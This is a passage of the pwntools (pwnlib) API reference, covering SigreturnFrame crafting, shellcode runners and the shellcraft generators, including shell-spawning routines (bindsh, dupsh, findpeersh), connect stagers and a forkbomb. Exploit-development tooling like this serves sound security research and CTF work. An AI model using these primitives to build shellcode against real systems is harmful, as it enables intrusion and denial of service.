[0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1073741840, 0, 0, 0, 0,
>>> s.r0 = 125
>>> s.r1 = 0x00601000
>>> s.r2 = 0x1000
>>> s.r3 = 0x7
>>> assert len(str(s)) == 240
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 6, 0, 0, 125, 6295552, 4096, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1073741840,
```

Crafting a SigreturnFrame that calls mprotect on MIPS

```
>>> context.clear()
>>> context.endian = "big"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
>>> s.v0 = 0x101d
>>> s.a0 = 0x00601000
>>> s.a1 = 0x1000
>>> s.a2 = 0x7
>>> assert len(str(s)) == 296
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7, 0, 0, 0, 0,
```

Crafting a SigreturnFrame that calls mprotect on MIPSel

```
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
>>> s.v0 = 0x101d
>>> s.a0 = 0x00601000
>>> s.a1 = 0x1000
>>> s.a2 = 0x7
>>> assert len(str(s)) == 292
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7, 0, 0, 0, 0, 0,
```

Crafting a SigreturnFrame that calls mprotect on Aarch64

```
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='aarch64')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
>>> s.x8 = 0xe2
>>> s.x0 = 0x4000
>>> s.x1 = 0x1000
>>> s.x2 = 0x7
>>> assert len(str(s)) == 600
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
```

set_regvalue(*reg*, *val*)
Sets a specific `reg` to a `val`

2.17 `pwnlib.runner` — Running Shellcode

pwnlib.runner.**run_assembly**(**a*, ***kw*)
Given an assembly listing, assemble and execute it.

Returns A `process` tube to interact with the process.

Example

```
>>> p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

pwnlib.runner.**run_shellcode**(**a*, ***kw*)
Given assembled machine code bytes, execute them.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p = run_shellcode(bytes)
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

pwnlib.runner.**run_assembly_exitcode**(**a*, ***kw*)
Given an assembly listing, assemble and execute it, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
3
```

pwnlib.runner.**run_shellcode_exitcode**(**a*, ***kw*)

Given assembled machine code bytes, execute them, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> run_shellcode_exitcode(bytes)
3
```

2.18 pwnlib.shellcraft — Shellcode generation

The shellcode module.

This module contains functions for generating shellcode.

It is organized first by architecture and then by operating system.

Example

```
>>> print shellcraft.i386.nop().strip('\n')
    nop
>>> print shellcraft.i386.linux.sh()
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
...
```

2.18.1 Submodules

pwnlib.shellcraft.amd64 — Shellcode for AMD64

pwnlib.shellcraft.amd64

Shellcraft module containing generic Intel x86_64 shellcodes.

pwnlib.shellcraft.amd64.**crash**()

Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

pwnlib.shellcraft.amd64.**infloop**()

A two-byte infinite loop.

pwnlib.shellcraft.amd64.**itoa**(*v*, *buffer='rsp'*, *allocate_stack=True*)

Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str, int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)
>>> sc += shellcraft.amd64.itoa('rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.amd64.**memcpy**(*dest*, *src*, *n*)
Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

pwnlib.shellcraft.amd64.**mov**(*dest*, *src*, *stack_allowed=True*)
Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to *'amd64'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print shellcraft.amd64.mov('eax','ebx').rstrip()
    mov eax, ebx
>>> print shellcraft.amd64.mov('eax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('ax', 0).rstrip()
    xor ax, ax /* 0 */
>>> print shellcraft.amd64.mov('rax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('rdi', 'ax').rstrip()
    movzx edi, ax
>>> print shellcraft.amd64.mov('al', 'ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.amd64.mov('ax', 'bl').rstrip()
    movzx ax, bl
>>> print shellcraft.amd64.mov('eax', 1).rstrip()
    push 1
    pop rax
>>> print shellcraft.amd64.mov('rax', 0xc0).rstrip()
    xor eax, eax
    mov al, 0xc0
>>> print shellcraft.amd64.mov('rax', 0xc000).rstrip()
```

```
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print shellcraft.amd64.mov('rax', 0xc0c0).rstrip()
    xor eax, eax
    mov ax, 0xc0c0
>>> print shellcraft.amd64.mov('rdi', 0xff).rstrip()
    mov edi, 0x1010101 /* 255 == 0xff */
    xor edi, 0x10101fe
>>> print shellcraft.amd64.mov('rax', 0xdead00ff).rstrip()
    mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
    xor eax, 0xdfac01fe
>>> print shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip()
    mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
    push rax
    mov rax, 0x1010110dfac01fe
    xor [rsp], rax
    pop rax
```

```
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
    xor eax, eax /* (SYS_read) */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
    push (SYS_read) /* 3 */
    pop rax
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rax
```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

pwnlib.shellcraft.amd64.**nop**()

A single-byte nop instruction.

pwnlib.shellcraft.amd64.**popad**()

Pop all of the registers onto the stack which i386 popad does, in the same order.

pwnlib.shellcraft.amd64.**push**(*value*)

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'amd64'* using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.amd64.push(0).rstrip()
    /* push 0 */
    push 1
    dec byte ptr [rsp]
>>> print pwnlib.shellcraft.amd64.push(1).rstrip()
    /* push 1 */
    push 1
>>> print pwnlib.shellcraft.amd64.push(256).rstrip()
    /* push 256 */
    push 0x1010201 ^ 0x100
    xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
    /* push 'SYS_write' */
    push 1
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
    /* push 'SYS_write' */
    push 4
```

`pwnlib.shellcraft.amd64.`**`pushad`**`()`

Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.amd64.`**`pushstr`**`(`*string*, *append_null=True*`)`

Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.amd64.pushstr('').rstrip()
    /* push '\x00' */
    push 1
    dec byte ptr [rsp]
>>> print shellcraft.amd64.pushstr('a').rstrip()
    /* push 'a\x00' */
    push 0x61
>>> print shellcraft.amd64.pushstr('aa').rstrip()
    /* push 'aa\x00' */
    push 0x1010101 ^ 0x6161
    xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaa').rstrip()
    /* push 'aaa\x00' */
    push 0x1010101 ^ 0x616161
    xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaaa').rstrip()
    /* push 'aaaa\x00' */
    push 0x61616161
>>> print shellcraft.amd64.pushstr('aaa\xc3').rstrip()
    /* push 'aaa\xc3\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0xc3616161
    xor [rsp], rax
>>> print shellcraft.amd64.pushstr('aaa\xc3', append_null = False).rstrip()
    /* push 'aaa\xc3' */
    push -0x3c9e9e9f
>>> print shellcraft.amd64.pushstr('\xc3').rstrip()
    /* push '\xc3\x00' */
    push 0x1010101 ^ 0xc3
    xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('\xc3', append_null = False).rstrip()
```

```
        /* push '\xc3' */
        push -0x3d
    >>> with context.local():
    ...     context.arch = 'amd64'
    ...     print enhex(asm(shellcraft.pushstr("/bin/sh")))
    48b801010101010101015048b82e63686f2e72690148310424
    >>> with context.local():
    ...     context.arch = 'amd64'
    ...     print enhex(asm(shellcraft.pushstr("")))
    6a01fe0c24
    >>> with context.local():
    ...     context.arch = 'amd64'
    ...     print enhex(asm(shellcraft.pushstr("\x00", False)))
    6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.amd64.**pushstr_array**(*reg*, *array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.amd64.**ret**(*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

pwnlib.shellcraft.amd64.**setregs**(*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
    >>> print shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip()
        mov rbx, rax
        push 1
        pop rax
    >>> print shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip()
        mov rbx, rax
        push (SYS_write) /* 1 */
        pop rax
    >>> print shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip()
        mov rcx, rbx
        xchg rax, rbx
    >>> print shellcraft.setregs({'rax':1, 'rdx':0}).rstrip()
        push 1
        pop rax
        cdq /* rdx=0 */
```

pwnlib.shellcraft.amd64.**strcpy**(*dst*, *src*)
Copies a string

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop rax\n'
>>> sc += shellcraft.amd64.strcpy('rsp', 'rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

pwnlib.shellcraft.amd64.**strlen**(*string*, *reg=’rcx’*)
Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, rcx is the default.

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop rdi\n'
>>> sc += shellcraft.amd64.strlen('rdi', 'rax')
>>> sc += 'push rax;'
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

pwnlib.shellcraft.amd64.**trap**()
A trap instruction.

pwnlib.shellcraft.amd64.**xor**(*key*, *address*, *count*)
XORs data a constant value.

Parameters

- **key** (*int, str*) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, ‘esp’)
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'rsp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)
>>> sc += shellcraft.write(1, 'rsp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.amd64.linux

Shellcraft module containing Intel x86_64 shellcodes for Linux.

pwnlib.shellcraft.amd64.linux.**accept**(*fd*, *addr*, *addr_len*)

Invokes the syscall accept. See 'man 2 accept' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

pwnlib.shellcraft.amd64.linux.**access**(*name*, *type*)

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- **name** (*char*) – name
- **type** (*int*) – type

pwnlib.shellcraft.amd64.linux.**acct**(*name*)

Invokes the syscall acct. See 'man 2 acct' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.amd64.linux.**alarm**(*seconds*)

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters **seconds** (*unsigned*) – seconds

pwnlib.shellcraft.amd64.linux.**bind**(*fd*, *addr*, *length*)

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*CONST_SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

pwnlib.shellcraft.amd64.linux.**bindsh**(*port*, *network*)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.amd64.linux.**brk**(*addr*)

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters **addr** (*void*) – addr

pwnlib.shellcraft.amd64.linux.**cat** (*filename*, *fd=1*)
Opens a file and writes its contents to the specified file descriptor.

pwnlib.shellcraft.amd64.linux.**chdir** (*path*)
Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters **path** (*char*) – path

pwnlib.shellcraft.amd64.linux.**chmod** (*file*, *mode*)
Invokes the syscall chmod. See 'man 2 chmod' for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.amd64.linux.**chown** (*file*, *owner*, *group*)
Invokes the syscall chown. See 'man 2 chown' for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

pwnlib.shellcraft.amd64.linux.**chroot** (*path*)
Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters **path** (*char*) – path

pwnlib.shellcraft.amd64.linux.**clock_getres** (*clock_id*, *res*)
Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **res** (*timespec*) – res

pwnlib.shellcraft.amd64.linux.**clock_gettime** (*clock_id*, *tp*)
Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **tp** (*timespec*) – tp

pwnlib.shellcraft.amd64.linux.**clock_nanosleep** (*clock_id*, *flags*, *req*, *rem*)
Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **flags** (*int*) – flags
- **req** (*timespec*) – req
- **rem** (*timespec*) – rem

pwnlib.shellcraft.amd64.linux.**clock_settime** (*clock_id*, *tp*)
Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **tp** (*timespec*) – tp

pwnlib.shellcraft.amd64.linux.**clone** (*fn*, *child_stack*, *flags*, *arg*, *vararg*)
Invokes the syscall clone. See 'man 2 clone' for more information.

Parameters

- **fn** (*int*) – fn
- **child_stack** (*void*) – child_stack
- **flags** (*int*) – flags
- **arg** (*void*) – arg
- **vararg** (*int*) – vararg

pwnlib.shellcraft.amd64.linux.**close** (*fd*)
Invokes the syscall close. See 'man 2 close' for more information.

Parameters **fd** (*int*) – fd

pwnlib.shellcraft.amd64.linux.**connect** (*host*, *port*, *network='ipv4'*)
Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in rbp.

pwnlib.shellcraft.amd64.linux.**connectstager** (*host*, *port*, *network='ipv4'*)
connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.amd64.linux.**creat** (*file*, *mode*)
Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.amd64.linux.**dup** (*sock='rbp'*)
Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.amd64.linux.**dup2** (*fd*, *fd2*)
Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2

pwnlib.shellcraft.amd64.linux.**dup3** (*fd*, *fd2*, *flags*)
Invokes the syscall dup3. See 'man 2 dup3' for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2
- **flags** (*int*) – flags

pwnlib.shellcraft.amd64.linux.**dupsh** (*sock='rbp'*)
Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.amd64.linux.`**`echo`**(*string*, *sock='1'*)

Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.`**`egghunter`**(*egg*, *start_address = 0*)

Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in RDI.

Parameters

- **`egg`** (*`str, int`*) – String of bytes, or word-size integer to search for
- **`start_address`** (*`int`*) – Where to start the search

`pwnlib.shellcraft.amd64.linux.`**`epoll_create`**(*size*)

Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.

Parameters **`size`** (*`int`*) – size

`pwnlib.shellcraft.amd64.linux.`**`epoll_create1`**(*flags*)

Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information.

Parameters **`flags`** (*`int`*) – flags

`pwnlib.shellcraft.amd64.linux.`**`epoll_ctl`**(*epfd*, *op*, *fd*, *event*)

Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.

Parameters

- **`epfd`** (*`int`*) – epfd
- **`op`** (*`int`*) – op
- **`fd`** (*`int`*) – fd
- **`event`** (*`epoll_event`*) – event

`pwnlib.shellcraft.amd64.linux.`**`epoll_pwait`**(*epfd*, *events*, *maxevents*, *timeout*, *ss*)

Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.

Parameters

- **`epfd`** (*`int`*) – epfd
- **`events`** (*`epoll_event`*) – events
- **`maxevents`** (*`int`*) – maxevents
- **`timeout`** (*`int`*) – timeout
- **`ss`** (*`sigset_t`*) – ss

`pwnlib.shellcraft.amd64.linux.`**`epoll_wait`**(*epfd*, *events*, *maxevents*, *timeout*)

Invokes the syscall epoll_wait. See 'man 2 epoll_wait' for more information.

Parameters

- **`epfd`** (*`int`*) – epfd
- **`events`** (*`epoll_event`*) – events
- **`maxevents`** (*`int`*) – maxevents
- **`timeout`** (*`int`*) – timeout

`pwnlib.shellcraft.amd64.linux.`**`execve`**(*path='/bin///sh'*, *argv=[]*, *envp={}*)

Execute a different process.

Attempts to perform some automatic detection of types. Otherwise, the arguments behave as normal.

- If `path` is a string that is not a known register, it is pushed onto the stack.
- If `argv` is an array of strings, it is pushed onto the stack, and NULL-terminated.
- If `envp` is an dictionary of {string:string}, it is pushed onto the stack, and NULL-terminated.

Example

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.amd64.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

`pwnlib.shellcraft.amd64.linux.`**`exit`**`(`*status=None*`)`

Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters **`status`** (*`int`*) – status

Doctest

```
>>> run_assembly_exitcode(shellcraft.exit(33))
33
```

`pwnlib.shellcraft.amd64.linux.`**`faccessat`**`(`*fd*, *file*, *type*, *flag*`)`

Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`file`** (*`char`*) – file
- **`type`** (*`int`*) – type
- **`flag`** (*`int`*) – flag

`pwnlib.shellcraft.amd64.linux.`**`fallocate`**`(`*fd*, *mode*, *offset*, *length*`)`

Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`mode`** (*`int`*) – mode
- **`offset`** (*`off_t`*) – offset
- **`len`** (*`off_t`*) – len

`pwnlib.shellcraft.amd64.linux.`**`fchdir`**`(`*fd*`)`

Invokes the syscall fchdir. See 'man 2 fchdir' for more information.

Parameters **`fd`** (*`int`*) – fd

`pwnlib.shellcraft.amd64.linux.`**`fchmod`**`(`*fd*, *mode*`)`

Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

- **`fd`** (*`int`*) – fd

- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.amd64.linux.`**`fchmodat`**(*fd*, *file*, *mode*, *flag*)

Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **mode** (*mode_t*) – mode
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.`**`fchown`**(*fd*, *owner*, *group*)

Invokes the syscall fchown. See 'man 2 fchown' for more information.

Parameters

- **fd** (*int*) – fd
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.amd64.linux.`**`fchownat`**(*fd*, *file*, *owner*, *group*, *flag*)

Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.`**`fcntl`**(*fd*, *cmd*, *vararg*)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

- **fd** (*int*) – fd
- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.`**`fdatasync`**(*fildes*)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

Parameters **fildes** (*int*) – fildes

`pwnlib.shellcraft.amd64.linux.`**`findpeer`**(*port=None*)

Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in RDI.

`pwnlib.shellcraft.amd64.linux.`**`findpeersh`**(*port=None*)

Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.amd64.linux.`**`findpeerstager`**(*port=None*)

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.amd64.linux.`**`flock`**(*fd*, *operation*)
Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- **fd** (*int*) – fd
- **operation** (*int*) – operation

`pwnlib.shellcraft.amd64.linux.`**`fork`**()
Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.`**`forkbomb`**()
Performs a forkbomb attack.

`pwnlib.shellcraft.amd64.linux.`**`forkexit`**()
Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.amd64.linux.`**`fstat`**(*fd*, *buf*)
Invokes the syscall fstat. See 'man 2 fstat' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat) – buf

`pwnlib.shellcraft.amd64.linux.`**`fstat64`**(*fd*, *buf*)
Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat64) – buf

`pwnlib.shellcraft.amd64.linux.`**`fstatat64`**(*fd*, *file*, *buf*, *flag*)
Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **buf** (stat64) – buf
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.`**`fsync`**(*fd*)
Invokes the syscall fsync. See 'man 2 fsync' for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.amd64.linux.`**`ftruncate`**(*fd*, *length*)
Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off_t*) – length

`pwnlib.shellcraft.amd64.linux.`**`ftruncate64`**(*fd*, *length*)
Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off64_t*) – length

pwnlib.shellcraft.amd64.linux.**futimesat**(*fd*, *file*, *tvp*)
Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

pwnlib.shellcraft.amd64.linux.**getcwd**(*buf*, *size*)
Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

Parameters

- **buf** (*char*) – buf
- **size** (*size_t*) – size

pwnlib.shellcraft.amd64.linux.**getegid**()
Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**geteuid**()
Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**getgid**()
Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**getgroups**(*size*, *list*)
Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- **size** (*int*) – size
- **list** (*gid_t*) – list

pwnlib.shellcraft.amd64.linux.**getitimer**(*which*, *value*)
Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **value** (*itimerval*) – value

pwnlib.shellcraft.amd64.linux.**getpeername**(*fd*, *addr*, *length*)
Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.amd64.linux.`**`getpgid`**`(`*pid*`)`

Invokes the syscall getpgid. See ‘man 2 getpgid’ for more information.

Parameters **`pid`** (*`pid_t`*) – pid

`pwnlib.shellcraft.amd64.linux.`**`getpgrp`**`()`

Invokes the syscall getpgrp. See ‘man 2 getpgrp’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.`**`getpid`**`()`

Retrieve the current PID

`pwnlib.shellcraft.amd64.linux.`**`getpmsg`**`(`*fildes*, *ctlptr*, *dataptr*, *bandp*, *flagsp*`)`

Invokes the syscall getpmsg. See ‘man 2 getpmsg’ for more information.

Parameters

- **`fildes`** (*`int`*) – fildes
- **`ctlptr`** (*`strbuf`*) – ctlptr
- **`dataptr`** (*`strbuf`*) – dataptr
- **`bandp`** (*`int`*) – bandp
- **`flagsp`** (*`int`*) – flagsp

`pwnlib.shellcraft.amd64.linux.`**`getppid`**`()`

Invokes the syscall getppid. See ‘man 2 getppid’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.`**`getpriority`**`(`*which*, *who*`)`

Invokes the syscall getpriority. See ‘man 2 getpriority’ for more information.

Parameters

- **`which`** (*`priority_which_t`*) – which
- **`who`** (*`id_t`*) – who

`pwnlib.shellcraft.amd64.linux.`**`getresgid`**`(`*rgid*, *egid*, *sgid*`)`

Invokes the syscall getresgid. See ‘man 2 getresgid’ for more information.

Parameters

- **`rgid`** (*`gid_t`*) – rgid
- **`egid`** (*`gid_t`*) – egid
